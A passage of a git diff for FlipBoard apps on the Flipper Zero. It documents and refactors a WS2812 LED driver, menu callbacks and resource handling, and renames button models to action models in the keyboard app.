led_driver_init_dma_led_transition_timer(LedDriver* led_driver) { led_driver->dma_led_transition_timer.Priority = LL_DMA_PRIORITY_HIGH; } +/** + * @brief Allocate and initialize LedDriver structure. + * @details This function allocate and initialize LedDriver structure. + * @return Pointer to allocated LedDriver structure. + */ LedDriver* led_driver_alloc(int count_leds, const GpioPin* gpio) { furi_assert(gpio); furi_assert(count_leds && count_leds <= MAX_LED_COUNT); @@ -89,6 +84,11 @@ LedDriver* led_driver_alloc(int count_leds, const GpioPin* gpio) { return led_driver; } +/** + * @brief Frees a led driver. + * @details Frees a led driver. + * @param led_driver The led driver to free. + */ void led_driver_free(LedDriver* led_driver) { furi_assert(led_driver); @@ -96,6 +96,14 @@ void led_driver_free(LedDriver* led_driver) { free(led_driver); } +/** + * @brief Sets the LED at the given index to the given color. + * @note You must still call led_driver_transmit to actually update the LEDs. + * @param led_driver The led driver to use. + * @param index The index of the LED to set. + * @param rrggbb The color to set the LED to (0xrrggbb format). + * @return The previous color of the LED (0xrrggbb format). + */ uint32_t led_driver_set_led(LedDriver* led_driver, uint32_t index, uint32_t rrggbb) { furi_assert(led_driver); if(index >= led_driver->count_leds) { @@ -107,6 +115,12 @@ uint32_t led_driver_set_led(LedDriver* led_driver, uint32_t index, uint32_t rrgg return previous; } +/** + * @brief Gets the LED at the given index. + * @param led_driver The led driver to use. + * @param index The index of the LED to get. + * @return The color of the LED (0xrrggbb format). + */ uint32_t led_driver_get_led(LedDriver* led_driver, uint32_t index) { furi_assert(led_driver); if(index >= led_driver->count_leds) { @@ -116,6 +130,10 @@ uint32_t led_driver_get_led(LedDriver* led_driver, uint32_t index) { return led_driver->led_data[index]; } +/** + * @brief Initializes the DMA for GPIO pin toggle and led transititions. + * @param led_driver The led driver to initialize. + */ static void led_driver_start_dma(LedDriver* led_driver) { furi_assert(led_driver); @@ -126,6 +144,21 @@ static void led_driver_start_dma(LedDriver* led_driver) { LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_2); } +/** + * @brief Stops the DMA for GPIO pin toggle and led transititions. + * @param led_driver The led driver to initialize. + */ +static void led_driver_stop_dma() { + LL_DMA_DisableChannel(DMA1, LL_DMA_CHANNEL_1); + LL_DMA_DisableChannel(DMA1, LL_DMA_CHANNEL_2); + LL_DMA_ClearFlag_TC1(DMA1); + LL_DMA_ClearFlag_TC2(DMA1); +} + +/** + * @brief Starts the timer for led transitions. + * @param led_driver The led driver to initialize. + */ static void led_driver_start_timer() { furi_hal_bus_enable(FuriHalBusTIM2); @@ -142,6 +175,10 @@ static void led_driver_start_timer() { LL_TIM_GenerateEvent_UPDATE(TIM2); } +/** + * @brief Stops the timer for led transitions. + * @param led_driver The led driver to initialize. + */ static void led_driver_stop_timer() { LL_TIM_DisableCounter(TIM2); LL_TIM_DisableUpdateEvent(TIM2); @@ -149,13 +186,10 @@ static void led_driver_stop_timer() { furi_hal_bus_disable(FuriHalBusTIM2); } -static void led_driver_stop_dma() { - LL_DMA_DisableChannel(DMA1, LL_DMA_CHANNEL_1); - LL_DMA_DisableChannel(DMA1, LL_DMA_CHANNEL_2); - LL_DMA_ClearFlag_TC1(DMA1); - LL_DMA_ClearFlag_TC2(DMA1); -} - +/** + * @brief Waits for the DMA to complete. + * @param led_driver The led driver to use. + */ static void led_driver_spin_lock(LedDriver* led_driver) { const uint32_t prev_timer = DWT->CYCCNT; const uint32_t wait_time = LED_DRIVER_SETINEL_WAIT_MS * SystemCoreClock / 1000; @@ -166,10 +200,14 @@ static void led_driver_spin_lock(LedDriver* led_driver) { break; } - // 0xFF is fairly quick, make sure we didn't miss it. + // We should have seen it above, but just in case we also have a timeout. if((DWT->CYCCNT - prev_timer > wait_time)) { - FURI_LOG_D( - "Demo", "0xFF not found (ARR 0x%08lx, read %lu)", TIM2->ARR, led_driver->read_pos); + FURI_LOG_E( + TAG, + "0x%02x not found (ARR 0x%08lx, read %lu)", + LED_DRIVER_TIMER_SETINEL, + TIM2->ARR, + led_driver->read_pos); led_driver->read_pos = led_driver->write_pos - 1; break; } @@ -187,7 +225,7 @@ static void led_driver_add_period(LedDriver* led_driver, uint16_t duration_ns) { uint32_t reload_value = duration_ns / LED_DRIVER_TIMER_NANOSECOND; if(reload_value > 255) { - FURI_LOG_E("Demo", "reload_value: %ld", reload_value); + FURI_LOG_E(TAG, "reload_value: %ld", reload_value); } furi_check(reload_value > 0); furi_check(reload_value < 256); @@ -211,6 +249,10 @@ static void led_driver_add_color(LedDriver* led_driver, uint32_t rrggbb) { } } +/** + * @brief Send the LED data to the LEDs. + * @param led_driver The led driver to use. + */ void led_driver_transmit(LedDriver* led_driver) { furi_assert(led_driver); @@ -251,58 +293,3 @@ void led_driver_transmit(LedDriver* led_driver) { led_driver->read_pos = 0; led_driver->write_pos = 0; } - -/* -int32_t main_led_test(void* _p) { - UNUSED(_p); - - uint16_t num_leds = MAX_LED_COUNT; - LedDriver* led_driver = led_driver_alloc(num_leds, &gpio_ext_pc3); - - uint32_t* data[80]; - for(int i = 0; i < 80; i++) { - data[i] = malloc(16 * 16 * sizeof(uint32_t)); - } - - for(int j = 0; j < num_leds; j++) { - uint8_t red = rand() % 2; - uint8_t green = rand() % 4; - uint8_t blue = rand() % 4; - data[0][j] = red << 16 | green << 8 | blue; - } - data[0][0] = 0x000F00; - - for(int i = 1; i < 80; i++) { - for(int j = 1; j < num_leds; j++) { - uint8_t red = rand() % 2; - uint8_t green = rand() % 4; - uint8_t blue = rand() % 4; - data[i][j] = red << 16 | green << 8 | blue; - data[i][j] = data[i - 1][j - 1]; - } - data[i][0] = data[i - 1][num_leds - 1]; - // for(int j = 0; j < num_leds; j++) { - // if(data[i - 1][j] == 0x000F00) { - // data[i][j] = 0x000F00; - // } - // } - data[i][rand() % num_leds] = 0x000F00; - } - - int counter = 0; - while(true) { - uint32_t i = counter++ % 80; - for(int j = 0; j < num_leds; j++) { - led_driver_set_led(led_driver, j, data[i][j]); - } - led_driver_transmit(led_driver); - furi_delay_ms(20); - } - - for(int i = 0; i < 80; i++) { - free(data[i]); - } - - return 0; -} -*/ \ No newline at end of file diff --git a/applications/external/flipblinky/common/led_driver.h b/applications/external/flipblinky/common/led_driver.h index a2c1a768b53..40052162170 100644 --- a/applications/external/flipblinky/common/led_driver.h +++ b/applications/external/flipblinky/common/led_driver.h @@ -3,8 +3,40 @@ typedef struct LedDriver LedDriver; +/** + * @brief Allocate and initialize LedDriver structure. + * @details This function allocate and initialize LedDriver structure. + * @return Pointer to allocated LedDriver structure. + */ LedDriver* led_driver_alloc(int count_leds, const GpioPin* gpio); + +/** + * @brief Frees a led driver. + * @details Frees a led driver. + * @param led_driver The led driver to free. + */ void led_driver_free(LedDriver* led_driver); + +/** + * @brief Sets the LED at the given index to the given color. + * @note You must still call led_driver_transmit to actually update the LEDs. + * @param led_driver The led driver to use. + * @param index The index of the LED to set. + * @param rrggbb The color to set the LED to. + * @return The previous color of the LED. + */ uint32_t led_driver_set_led(LedDriver* led_driver, uint32_t index, uint32_t rrggbb); + +/** + * @brief Gets the LED at the given index. + * @param led_driver The led driver to use. + * @param index The index of the LED to get. + * @return The color of the LED (0xrrggbb format). + */ uint32_t led_driver_get_led(LedDriver* led_driver, uint32_t index); + +/** + * @brief Send the LED data to the LEDs. + * @param led_driver The led driver to use. + */ void led_driver_transmit(LedDriver* led_driver); diff --git a/applications/external/flipblinky/common/led_driver_i.h b/applications/external/flipblinky/common/led_driver_i.h new file mode 100644 index 00000000000..4566ac2cb3d --- /dev/null +++ b/applications/external/flipblinky/common/led_driver_i.h @@ -0,0 +1,26 @@ +#pragma once + +#include + +#include "led_driver.h" +#include "../app_config.h" + +#define MAX_LED_COUNT 4 + +// We store the HIGH/LOW durations (2 values) for each color bit (24 bits per LED) +#define LED_DRIVER_BUFFER_SIZE (MAX_LED_COUNT * 2 * 24) + +// We use a setinel value to figure out when the timer is complete. +#define LED_DRIVER_TIMER_SETINEL 0xFFU + +/** 64 transitions per us @ 64MHz. Our timing is in NANO_SECONDS */ +#define LED_DRIVER_TIMER_NANOSECOND (1000U / (SystemCoreClock / 1000000U)) + +// Timings for WS2812B +#define LED_DRIVER_T0H 400U +#define LED_DRIVER_T1H 800U +#define LED_DRIVER_T0L 850U +#define LED_DRIVER_T1L 450U + +// Max wait for the DMA to complete. NOTE: 4000 leds*(850ns+450ns)*24 = 124.8ms + 50ms blanking = 174.8ms +#define LED_DRIVER_SETINEL_WAIT_MS 200 \ No newline at end of file diff --git a/applications/external/flipblinky/common/leds.c b/applications/external/flipblinky/common/leds.c index 84a73fbc414..234ca3e788d 100644 --- a/applications/external/flipblinky/common/leds.c +++ b/applications/external/flipblinky/common/leds.c @@ -1,15 +1,5 @@ #include "leds_i.h" -#include "../app_config.h" - -// Bit-banging the WS2812b LEDs is a bit tricky. The timing is very strict. -// Hopefully, we will update to a better solution in the future. -#define DWT_CYCCNT (0xE0001004UL) -typedef struct { - volatile uint32_t COUNT; /*!< E0001000 + Offset: 0x004 (R/W) Cycle Count Register */ -} DWT_Internal; -#define DWT_ACCESS ((DWT_Internal*)DWT_CYCCNT) - /** * @brief Allocates a FlipboardLeds struct. * @details This method allocates a FlipboardLeds struct. This is used to @@ -19,15 +9,19 @@ typedef struct { */ FlipboardLeds* flipboard_leds_alloc(Resources* resources) { FlipboardLeds* leds = malloc(sizeof(FlipboardLeds)); + #ifdef USE_LED_DRIVER - FURI_LOG_D(TAG, "Using LED driver"); leds->resources = resources; leds->led_driver = led_driver_alloc(LED_COUNT, pin_ws2812_leds); #else - FURI_LOG_D(TAG, "Using Bit-bang LEDs"); + // If our bit-bang code is interrupted, the LED colors could become 0xFFFFFF and drain too much current? + FURI_LOG_E(TAG, "WARNING: Using Bit-bang LEDs. Colors may be wrong. Only use for a few LEDs!"); + furi_assert( + LED_COUNT < 16, "Bit-bang LEDs only supports up to 16 LEDs for MAX CURRENT safety."); furi_hal_gpio_init_simple(pin_ws2812_leds, GpioModeOutputPushPull); leds->led_driver = NULL; #endif + furi_hal_gpio_init_simple(pin_status_led, GpioModeOutputPushPull); flipboard_leds_reset(leds); return leds; diff --git a/applications/external/flipblinky/common/leds.h b/applications/external/flipblinky/common/leds.h index 12f3554c1e3..8ba0290b453 100644 --- a/applications/external/flipblinky/common/leds.h +++ b/applications/external/flipblinky/common/leds.h @@ -1,5 +1,3 @@ -#pragma once - /** * @file leds.h * @brief This file contains methods to control the LEDs on the flipboard. @@ -7,7 +5,10 @@ * and also the status LED. */ +#pragma once + #include + #include "resources.h" typedef struct FlipboardLeds FlipboardLeds; diff --git a/applications/external/flipblinky/common/leds_i.h b/applications/external/flipblinky/common/leds_i.h index a27af0d0bd7..803f41db8e8 100644 --- a/applications/external/flipblinky/common/leds_i.h +++ b/applications/external/flipblinky/common/leds_i.h @@ -1,21 +1,32 @@ #pragma once #include -#include -#include -#include #include "leds.h" #include "led_driver.h" -// The WS2812b LEDs that are connected to PC3. +#include "../app_config.h" + +// The number of WS2812b LEDs connected to the FlipBoard. #define LED_COUNT 4 + +// The pin that is connected to the WS2812 LEDs. +const GpioPin* const pin_ws2812_leds = &gpio_ext_pc3; + +// The status LED that is connected to PA7. +const GpioPin* const pin_status_led = &gpio_ext_pa7; + struct FlipboardLeds { Resources* resources; uint32_t color[LED_COUNT]; LedDriver* led_driver; }; -const GpioPin* const pin_ws2812_leds = &gpio_ext_pc3; -// The status LED that is connected to PA7. -const GpioPin* const pin_status_led = &gpio_ext_pa7; +// Bit-banging the WS2812b LEDs isn't great. If we could get interrupted signal will be wrong (wrong LED colors). +typedef struct { + volatile uint32_t COUNT; +} DWT_Internal; + +// Cycle Count Register is at DWT Base Address (E0001000) + 0x004 (R/W) +#define DWT_CYCCNT (0xE0001004UL) +#define DWT_ACCESS ((DWT_Internal*)DWT_CYCCNT) diff --git a/applications/external/flipblinky/common/menu_callback.c b/applications/external/flipblinky/common/menu_callback.c index 846823860e0..dc87047e90d 100644 --- a/applications/external/flipblinky/common/menu_callback.c +++ b/applications/external/flipblinky/common/menu_callback.c @@ -1,69 +1,160 @@ #include "menu_callback.h" -static uint32_t menu_0(void* context) { - UNUSED(context); +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 0. +*/ +static uint32_t menu_0(void* _context) { + UNUSED(_context); return (uint32_t)0; } -static uint32_t menu_1(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 1. +*/ +static uint32_t menu_1(void* _context) { + UNUSED(_context); return (uint32_t)1; } -static uint32_t menu_2(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 2. +*/ +static uint32_t menu_2(void* _context) { + UNUSED(_context); return (uint32_t)2; } -static uint32_t menu_3(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 3. +*/ +static uint32_t menu_3(void* _context) { + UNUSED(_context); return (uint32_t)3; } -static uint32_t menu_4(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 4. +*/ +static uint32_t menu_4(void* _context) { + UNUSED(_context); return (uint32_t)4; } -static uint32_t menu_5(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 5. +*/ +static uint32_t menu_5(void* _context) { + UNUSED(_context); return (uint32_t)5; } -static uint32_t menu_6(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 6. +*/ +static uint32_t menu_6(void* _context) { + UNUSED(_context); return (uint32_t)6; } -static uint32_t menu_7(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 7. +*/ +static uint32_t menu_7(void* _context) { + UNUSED(_context); return (uint32_t)7; } -static uint32_t menu_8(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 8. +*/ +static uint32_t menu_8(void* _context) { + UNUSED(_context); return (uint32_t)8; } -static uint32_t menu_9(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 9. +*/ +static uint32_t menu_9(void* _context) { + UNUSED(_context); return (uint32_t)9; } -static uint32_t menu_10(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 10. +*/ +static uint32_t menu_10(void* _context) { + UNUSED(_context); return (uint32_t)10; } -static uint32_t menu_11(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 11. +*/ +static uint32_t menu_11(void* _context) { + UNUSED(_context); return (uint32_t)11; } -static uint32_t menu_12(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 12. +*/ +static uint32_t menu_12(void* _context) { + UNUSED(_context); return (uint32_t)12; } -static uint32_t menu_13(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 13. +*/ +static uint32_t menu_13(void* _context) { + UNUSED(_context); return (uint32_t)13; } -static uint32_t menu_14(void* context) { - UNUSED(context); + +/** + * @brief Callback for menu navigation + * @param _context Unused parameter. + * @return returns index 14. +*/ +static uint32_t menu_14(void* _context) { + UNUSED(_context); return (uint32_t)14; } /** * @brief Callback for menu navigation - * @param return_index The value the callback should return. + * @note if return_index is out of range, it will return a callback that + * returns 0. + * @param return_index The value the callback should return (1-14). * @return The callback to be used for menu navigation. */ ViewNavigationCallback get_menu_callback(uint32_t return_index) { @@ -98,6 +189,7 @@ ViewNavigationCallback get_menu_callback(uint32_t return_index) { return menu_14; default: FURI_LOG_E("Flipboard", "Invalid menu index %ld", return_index); + furi_assert(return_index < 15); return menu_0; } } \ No newline at end of file diff --git a/applications/external/flipblinky/common/menu_callback.h b/applications/external/flipblinky/common/menu_callback.h index 95c537d3fb0..b35c954a093 100644 --- a/applications/external/flipblinky/common/menu_callback.h +++ b/applications/external/flipblinky/common/menu_callback.h @@ -1,21 +1,21 @@ -#pragma once - /** * @file menu_callback.h * @brief This file contains a method to get a ViewNavigationCallback * that returns a specific view id. * @details The menu callback module is used to return a specific view id - * from ViewNavigationCallback. The id is matched by a large switch so it - * can only handle a limited number of values (if to large of id is requested, - * the 0 view will be returned). + * from ViewNavigationCallback. */ +#pragma once + #include #include /** * @brief Callback for menu navigation - * @param return_index The value the callback should return. + * @note if return_index is out of range, it will return a callback that + * returns 0. + * @param return_index The value the callback should return (1-14). * @return The callback to be used for menu navigation. */ ViewNavigationCallback get_menu_callback(uint32_t return_index); \ No newline at end of file diff --git a/applications/external/flipblinky/common/resources.c b/applications/external/flipblinky/common/resources.c index e1e44ce5ece..f5dd16794d1 100644 --- a/applications/external/flipblinky/common/resources.c +++ b/applications/external/flipblinky/common/resources.c @@ -1,5 +1,4 @@ -#include -#include "resources.h" +#include "resources_i.h" struct Resources { FuriMutex* ll_tim1; @@ -20,12 +19,16 @@ Resources* resources_alloc() { * @details This method acquires a resource. If the resource is already acquired, * this method will block until the resource is released. * @param resources The resources struct to use for hardware access. + * @param id The resource to acquire. + * @param timeout The timeout in milliseconds to wait for the resource to be released. + * @return True if the resource was acquired, false if there was an error. */ bool resources_acquire(Resources* resources, ResourceId id, uint32_t timeout) { UNUSED(id); if(!resources) { return false; } + return furi_mutex_acquire(resources->ll_tim1, timeout) == FuriStatusOk; } @@ -33,12 +36,15 @@ bool resources_acquire(Resources* resources, ResourceId id, uint32_t timeout) { * @brief Releases a resource. * @details This method releases a resource. * @param resources The resources struct to use for hardware access. + * @param id The resource to release. + * @return True if the resource was released, false if there was an error. */ bool resources_release(Resources* resources, ResourceId id) { UNUSED(id); if(!resources) { return false; } + return furi_mutex_release(resources->ll_tim1) == FuriStatusOk; } diff --git a/applications/external/flipblinky/common/resources.h b/applications/external/flipblinky/common/resources.h index ab67c2395f4..3f1f097a123 100644 --- a/applications/external/flipblinky/common/resources.h +++ b/applications/external/flipblinky/common/resources.h @@ -1,3 +1,9 @@ +/** + * @file resources.h + * @brief Resources are used to request access to hardware components. If another code is + * using the hardware, the calls will wait for the resource to become free. +*/ + #pragma once #include @@ -20,7 +26,10 @@ Resources* resources_alloc(); * @brief Acquires a resource. * @details This method acquires a resource. If the resource is already acquired, * this method will block until the resource is released. + * @param id The resource to acquire. + * @param timeout The timeout in milliseconds to wait for the resource to be released. * @param resources The resources struct to use for hardware access. + * @return True if the resource was acquired, false if there was an error. */ bool resources_acquire(Resources* resources, ResourceId id, uint32_t timeout); @@ -28,6 +37,8 @@ bool resources_acquire(Resources* resources, ResourceId id, uint32_t timeout); * @brief Releases a resource. * @details This method releases a resource. * @param resources The resources struct to use for hardware access. + * @param id The resource to release. + * @return True if the resource was released, false if there was an error. */ bool resources_release(Resources* resources, ResourceId id); diff --git a/applications/external/flipblinky/common/resources_i.h b/applications/external/flipblinky/common/resources_i.h new file mode 100644 index 00000000000..2d280e31a72 --- /dev/null +++ b/applications/external/flipblinky/common/resources_i.h @@ -0,0 +1,5 @@ +#pragma once + +#include + +#include "resources.h" \ No newline at end of file diff --git a/applications/external/flipblinky/common/speaker.c b/applications/external/flipblinky/common/speaker.c index 3e33bbf6234..871dd0dabbc 100644 --- a/applications/external/flipblinky/common/speaker.c +++ b/applications/external/flipblinky/common/speaker.c @@ -1,6 +1,18 @@ #include "speaker_i.h" -static int32_t speaker_worker(void* context); +struct Speaker { + // The thread that runs the speaker worker + FuriThread* thread; + + // True is the thread is running + bool is_running; + + // Frequency of the tone to play (in Hz) + float frequency; + + // Volume of the tone to play (0.0 - 1.0) + float volume; +}; /** * @brief Allocates a new speaker. diff --git a/applications/external/flipblinky/common/speaker_i.h b/applications/external/flipblinky/common/speaker_i.h index 198c761776b..aaf3ae2b990 100644 --- a/applications/external/flipblinky/common/speaker_i.h +++ b/applications/external/flipblinky/common/speaker_i.h @@ -1,19 +1,8 @@ #pragma once -#include "speaker.h" #include #include -struct Speaker { - // The thread that runs the speaker worker - FuriThread* thread; - - // True is the thread is running - bool is_running; - - // Frequency of the tone to play (in Hz) - float frequency; +#include "speaker.h" - // Volume of the tone to play (0.0 - 1.0) - float volume; -}; \ No newline at end of file +static int32_t speaker_worker(void* context); diff --git a/applications/external/flipblinky/common/subghz_signal.h b/applications/external/flipblinky/common/subghz_signal.h index 46166b992e2..0c3de045e7f 100644 --- a/applications/external/flipblinky/common/subghz_signal.h +++ b/applications/external/flipblinky/common/subghz_signal.h @@ -1,6 +1,17 @@ +/** + * @file subghz_signal.h + * @brief This file contains the subghz_signal module. + * @details This file contains the subghz_signal module. The subghz_signal module is + * responsible for sending SubGhz signals (both RAW and Protocol .SUB files). + * + * If your build environment supports #include then please add: + * #define FIRMWARE_SUPPORTS_SUBGHZ 1 +*/ + #pragma once #include + #include "resources.h" typedef struct SubGhzSignal SubGhzSignal; diff --git a/applications/external/flipkeyboard/README.md b/applications/external/flipkeyboard/README.md index b0af847425c..f51ef92c66d 100644 --- a/applications/external/flipkeyboard/README.md +++ b/applications/external/flipkeyboard/README.md @@ -55,8 +55,11 @@ Make sure your FlipBoard is connected to your Flipper Zero. Choose the "Flipboa ### Written tutorials +- [Advanced data entry](tutorials/advanced-data-entry.md) - [Play a song; Happy Birthday / Jingle Bells!](tutorials/song.md) - [Learn about the file format of the configuration files](tutorials/file-format.md) - [Edit the Message that is typed](tutorials/message.md) - [Write a custom button action for when button 3+4 are pressed](tutorials/custom-button-action.md) -- [Change a Keystroke button](tutorials/swap-keystroke-button.md) \ No newline at end of file +- [Change a Keystroke button](tutorials/swap-keystroke-button.md) +- [Add a new Keystroke row](tutorials/add-keystroke-row.md) +- [Add a new startup sequence](tutorials/led-startup-sequence.md) \ No newline at end of file diff --git a/applications/external/flipkeyboard/app.c b/applications/external/flipkeyboard/app.c index 6e806854280..7dec093994c 100644 --- a/applications/external/flipkeyboard/app.c +++ b/applications/external/flipkeyboard/app.c @@ -1,7 +1,6 @@ #include "app.h" #include "app_config.h" #include "app_keyboard_layout.h" -// #include /** * @brief This method handles Flipper D-Pad input when in the FlipboardKeyboard mode. @@ -68,11 +67,15 @@ void flipboard_debounced_switch(void* context, uint8_t old_button, uint8_t new_b flipboard_model_update_gui(model); - ButtonModel* bm = flipboard_model_get_button_model(model, reduced_new_button); - flipboard_model_set_colors(model, bm, new_button); - flipboard_model_send_keystrokes(model, bm); - flipboard_model_send_text(model, bm); - flipboard_model_play_tone(model, bm); + ActionModel* action_model = flipboard_model_get_action_model(model, reduced_new_button); + flipboard_model_set_colors(model, action_model, new_button); + if(!flipboard_model_send_keystrokes(model, action_model)) { + // If keystrokes did not send any messages, then we will send them in order. + for(int i = 0; i < 4; i++) { + flipboard_model_send_text(model, action_model, i); + } + } + flipboard_model_play_tone(model, action_model); } /** @@ -126,8 +129,6 @@ View* get_primary_view(void* context) { static void loaded_app_menu(FlipboardModel* model) { static bool initial_load = true; FlipboardLeds* leds = flipboard_model_get_leds(model); - UNUSED(color_names); - UNUSED(color_values); if(initial_load) { for(int i = 0; i < 7; i++) { flipboard_leds_set(leds, LedId1, (1 << (16 + i))); @@ -176,7 +177,7 @@ static bool custom_event_handler(void* context, uint32_t event) { int32_t flipboard_keyboard_app(void* p) { UNUSED(p); - ButtonModelFields fields = ButtonModelFieldAll; + ActionModelFields fields = ActionModelFieldAll; bool single_mode_button = false; bool attach_keyboard = true; // attach_keyboard = false; diff --git a/applications/external/flipkeyboard/app.h b/applications/external/flipkeyboard/app.h index 5300d53b89c..1fcf88f517a 100644 --- a/applications/external/flipkeyboard/app.h +++ b/applications/external/flipkeyboard/app.h @@ -10,9 +10,9 @@ #include #include "flipboard_keyboard_icons.h" +#include "./common/action_config.h" #include "./common/app_menu.h" #include "./common/backlight.h" -#include "./common/button_config.h" #include "./common/button_monitor.h" #include "./common/config_colors.h" #include "./common/custom_event.h" diff --git a/applications/external/flipkeyboard/app_config.h b/applications/external/flipkeyboard/app_config.h index 80cf810eab3..51bf78b39b8 100644 --- a/applications/external/flipkeyboard/app_config.h +++ b/applications/external/flipkeyboard/app_config.h @@ -9,9 +9,10 @@ #define ABOUT_TEXT \ "Welcome to the Flipboard\n" \ - "keyboard! Optimized for\n" \ - "FlipBoard v1.1 hardware --\n" \ - "see link below to order!\n" \ + "keyboard 2.0\n" \ + "Optimized for FlipBoard\n" \ + "hardware, see link below\n" \ + "to order!\n" \ "Created by @MakeItHackin\n" \ "and @CodeAllNight!\n" \ "https://discord.com/invite/NsjCvqwPAd\n" \ diff --git a/applications/external/flipkeyboard/application.fam b/applications/external/flipkeyboard/application.fam index 85887d8278b..7b126e0f9c3 100644 --- a/applications/external/flipkeyboard/application.fam +++ b/applications/external/flipkeyboard/application.fam @@ -12,6 +12,6 @@ App( fap_icon_assets="assets", fap_author="jamisonderek", fap_weburl="https://github.com/jamisonderek/flipboard", - fap_version=(1, 0), + fap_version=(2, 0), fap_description="FlipBoard Keyboard turns your FlipBoard into a keyboard.", ) diff --git a/applications/external/flipkeyboard/common/README.md b/applications/external/flipkeyboard/common/README.md index 6597e3dbf53..7dac286e747 100644 --- a/applications/external/flipkeyboard/common/README.md +++ b/applications/external/flipkeyboard/common/README.md @@ -4,23 +4,23 @@ This repository contains common code used by Flipboard projects. Please let us File names are prefixed with the component name, e.g. `app_menu_i.h` is the private header for the `app_menu` component, while `app_menu.h` is the public header. -## app_menu +## action_config -The AppMenu module is used to create and show the main application menu. +The ActionConfig module is used to configure the actions (what happens when a the buttons are pressed) on the flipboard. -## backlight +## action_model -The Backlight module is responsible for controlling the backlight. You can turn the backlight on, off, or force it off. +This ActionModel type is used to store the settings for a action. For example the color, frequency, message, and keystrokes to use when an action occurs (like pressing button 2+4). -## button_config +- _TODO: Should this allow for extra data to be stored with the action?_ -The ButtonConfig module is used to configure the buttons on the flipboard. +## app_menu -## button_model +The AppMenu module is used to create and show the main application menu. -This ButtonModel type is used to store the settings for a button. For example the color, frequency, message, and keystrokes to use when a button is pressed. +## backlight -- _TODO: Should this allow for extra data to be stored with the button?_ +The Backlight module is responsible for controlling the backlight. You can turn the backlight on or off. ## button_monitor @@ -38,6 +38,10 @@ config_keystroke.h contains the configuration of the keystrokes. You can add ne config_tones.h contains the configuration of the tones. The tones are a set of frequencies that can be played on the buzzer. The tones (in Hz) are defined in the tone_values array. The index of the tone in this array is the same as the index of the tone in the tone_names array. +## custom_event + +custom_event.h contains the enumeration of custom events that can be sent. + ## flipboard Typically you will create a Flipboard application in your main function like this: @@ -61,6 +65,10 @@ The FlipboardModel contains all the data needed for the flipboard application. FlipboardModelRef is a reference to a FlipboardModel, used to pass a FlipboardModel to UI components that cant take a pointer to an existing FlipboardModel. +## infrared_signal + +The InfraredSignal module is used to send IR signals using the IR LED on the Flipper. + ## keyboard A Keyboard module is used to send key codes to the host using the USB cable connected to the Flipper Zero. @@ -69,6 +77,10 @@ A Keyboard module is used to send key codes to the host using the USB cable conn The KeystrokeSelector module is used to select a keystroke. The view will display a grid of keys. The user can scroll through the keys using the dpad buttons. The user can select a key by pressing the OK button. The view will call a callback when a key is selected. +## led_driver + +The LedDriver module is used to control the addressable LEDs on the flipboard using the timer API. This API is used by the leds module. + ## leds The Leds module is used to control the addressable LEDs on the flipboard, and also the status LED. @@ -79,4 +91,8 @@ The MenuCallback module is used to return a specific view id from ViewNavigation ## speaker -The Speaker module is used to play tones on the internal Flipper Zero speaker. \ No newline at end of file +The Speaker module is used to play tones on the internal Flipper Zero speaker. + +## subshz_signal + +The SubghzSignal module is used to send subghz signals using the subghz radio on the Flipper Zero. \ No newline at end of file diff --git a/applications/external/flipkeyboard/common/action_config.c b/applications/external/flipkeyboard/common/action_config.c new file mode 100644 index 00000000000..a6c5d58c278 --- /dev/null +++ b/applications/external/flipkeyboard/common/action_config.c @@ -0,0 +1,712 @@ +#include "action_config_i.h" + +/** + * @brief color_up_changed is called when the color up setting is changed. + * @param item The VariableItem that was changed. + */ +static void color_up_changed(VariableItem* item) { + ActionModel* action_model = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + action_model_set_color_up(action_model, color_values[index]); + variable_item_set_current_value_text(item, color_names[index]); +} + +/** + * @brief color_down_changed is called when the color down setting is changed. + * @param item The VariableItem that was changed. + */ +static void color_down_changed(VariableItem* item) { + ActionModel* action_model = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + action_model_set_color_down(action_model, color_values[index]); + variable_item_set_current_value_text(item, color_names[index]); +} + +/** + * @brief tone_changed is called when the tone setting is changed. + * @param item The VariableItem that was changed. + */ +static void tone_changed(VariableItem* item) { + ActionModel* action_model = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + action_model_set_frequency(action_model, tone_values[index]); + variable_item_set_current_value_text(item, tone_names[index]); +} + +/** + * @brief Returns keystroke index for the selected keystroke. + * @details maps a menu item index into to keystroke index. Determining the + * index relies on the fact that the menu items are added in the order of + * Keystroke, Count, Keystroke, Count, etc. and then finally Add Keystroke. + * @param action_model The ActionModel. + * @return The keystroke index +*/ +static uint8_t keystroke_item_index(ActionModel* action_model) { + ActionConfig* action_config = (ActionConfig*)action_model_get_action_config(action_model); + uint8_t add_item_index = action_model_get_keystroke_index(action_model); + uint8_t count = action_model_get_keystrokes_count(action_model); + uint8_t offset = add_item_index - (count * 2); + uint8_t selected_item_index = + variable_item_list_get_selected_item_index(action_config->item_list); + uint8_t item_index = (selected_item_index - offset) / 2; + FURI_LOG_D(TAG, "item_index=%d", item_index); + return item_index; +} + +/** + * @brief keystroke_changed is called when the keystroke setting is changed. + * @details keystroke_changed is called when the keystroke setting is changed using + * the left/right buttons. It updates the ActionModel with the new 